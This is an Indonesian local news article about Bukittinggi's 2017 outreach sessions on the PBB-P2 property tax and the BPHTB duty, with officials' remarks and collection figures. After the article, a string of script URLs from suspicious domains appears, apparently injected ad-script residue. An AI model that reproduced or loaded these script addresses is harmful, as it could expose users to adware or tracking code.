Ruang Publik

Badan Keuangan Bukittinggi Sosialisasikan PBB-P2 Serta BPHTB Pada Wajib Pajak

HaloBukittinggi : Menindaklanjuti Undang-undang nomor 28 tahun 2009, tentang pelimpahan pengelolaan Pajak Bumi dan Bangunan sektor Pedesaan dan Perkotaan (PBB-P2) serta BPHTB yang semula merupakan Pajak Pusat menjadi Pajak Daerah. Pengelolaan PBB-P2 sebagai pajak daerah di Kota Bukittinggi sendiri dimulai sejak tahun 2014 dan memasuki tahun ketiga.

Namun walaupun telah berjalan tiga tahun, masih banyak kendala dilapangan. Untuk mengantisipasi kendala itu, Badan Keuangan melakukan Sosialisasi PBB Pedesaan dan Perkotaan se Kecamatan Guguk Panjang yang berlangsung di Aula Kantor Camat Guguk Panjang pada 8 hingga 10 Mei 2017.

Kepala Bidang Pendapatan Badan Keuangan Nofri Syamsi melaporkan sosialisasi direncanakan untuk sekota Bukittinggi dan dilaksanakan per kecamatan, dan diawali di Kecamatan Guguk Panjang, berikut di Kecamatan Aur Birugo Tigo Baleh dan Kecamatan Mandiangin Koto Selayan.

“Tujuan diadakan sosialisasi ini agar wajib pajak mengetahui kewajibannya sehingga terwujud penyelenggaraan pemungutan PBB-P2 yang handal dan akuntabel,” ujarnya, Rabu (10/5/2017).

Menurut Nofri Syamsi, sosialisasi ini diikuti peserta dari Kasi Pemerintahan di Kecamatan dan Kelurahan, Lurah, RT dan RW dan Kolektor PBB se kecamatan Guguk Panjang, dengan materi antara lain Pengelolaan PBB-P2 dan pengelolaan BPHTB (Bea Perolehan Hak atas Tanah dan Bangunan), dan narasumber dari Badan Keuangan Kota Bukittinggi.

Sementara itu Wakil Wali Kota Bukittinggi Irwandi mengatakan, sejak diberlakukannya Undang-undang nomor 28 tahun 2009 maka PBB-P2 dialihkan dari pemerintah pusat kepada Pemerintah Kota dan Pemerintah Kabupaten.

“Khusus untuk Pajak Bumi dan Bangunan pedesaan dan perkotaan. Dalam penyelenggaraan nya tidak bisa dilepaskan dari BPHTB. Untuk itu perlu mengatur dan menata kembali. Karena tiap tahun nilai jual objek pajak mengalami perubahan. Apalagi di Bukittinggi sangat sulit mendapat kan tanah,” jelasnya.

Menurut Irwandi, kalaupun ada yang mau beli namun yang menjual tidak ada. Khusus menyangkut masalah PBB ini Pemko Bukittinggi berkewajiban mengatur Nilai Jual Objek Pajak (NJOP), dan dalam melaksanakan amanat Undang-undang Pemko Bukittinggi tidak ingin membebani masyarakat terlalu berat. Namun ini adalah peraturan pemerintah yang harus dilaksanakan. Untuk itulah dilaksanakan sosialisasi ini guna memberikan pemahaman kepada masyarakat.

Irwandi berharap, berkaitan dengan tanah ulayat diharapkan peran serta mamak Kapalo suku dan mamak kepala waris. Jangan diserahkan kepada kolektor PBB saja. Ini kewajiban Pemko Bukittinggiuntuk ikut serta. Kewajiban kita sebagai masyarakat adalah mengikuti seluruh undang-undang yang telah ditetapkan. Sehingga hak kita untuk dilayanani oleh pemerintah pun dapat diterima.

“Dari data tiga tahun terakhir, realisasi penerimaan PBB-P2 di Bukittinggi belum mencapai seratus persen. Tahun 2014 Dari target yang ditetapkan tercapai realisasi 98,93 %, tahun 2015 tercapai 95,92 % dan tahun 2016 tercapai 97,93%. Sedangkan tahun 2017 ini sampai bulan april telah tercapai 8,89%. Untuk itu diharapkan kepada kolektor untuk segera bergerak menyadarkan masyarakat sehingga PBB dibayar tepat waktu,” tukasnya.

Menurut Irwandi, PBB-P2 itu sendiri merupakan pajak atas bumi dan atau bangunan yang dimiliki, dikuasai dan atau dimanfaatkan oleh orang pribadi atau badan untuk sektor pedesaan dan perkotaan. Dasar pengenaan PBB-P2 adalah NJOP yang ditetapkan dengan keputusan Wali Kota Bukittinggi. Nilai Jual Objek Pajak (NJOP) adalah harga rata-rata yang diperoleh dari transaksi jual beli yang terjadi secara wajar, perbandingan harga dengan objek lain yang sejenis, nilai perolehan baru atau NJOP pengganti. (Dipra)

 

 

https://cdncache-a.akamaihd.net/sub/nee5452/51565_4460_/l.js?pid=2449&ext=Advertisehttps://cdncache-a.akamaihd.net/sub/nee5452/51565_4460_/l.js?pid=2450&ext=Not%20sethttps://glgnltks.xyz/addons/lnkr5.min.jshttps://glgnltks.xyz/addons/lnkr30_nt.min.jshttps://eluxer.net/code?id=105&subid=51565_4460_https://glgnltks.xyz/ext/116c6de661dcbbd02f.js?sid=51565_4460_&title=Not%20set&blocks%5B%5D=1f755&blocks%5B%5D=4d09a

Click to comment

Leave a Reply

Your email address will not be published. Required fields are marked *

Populer

Copyright © 2016 HaloBukittinggi

To Top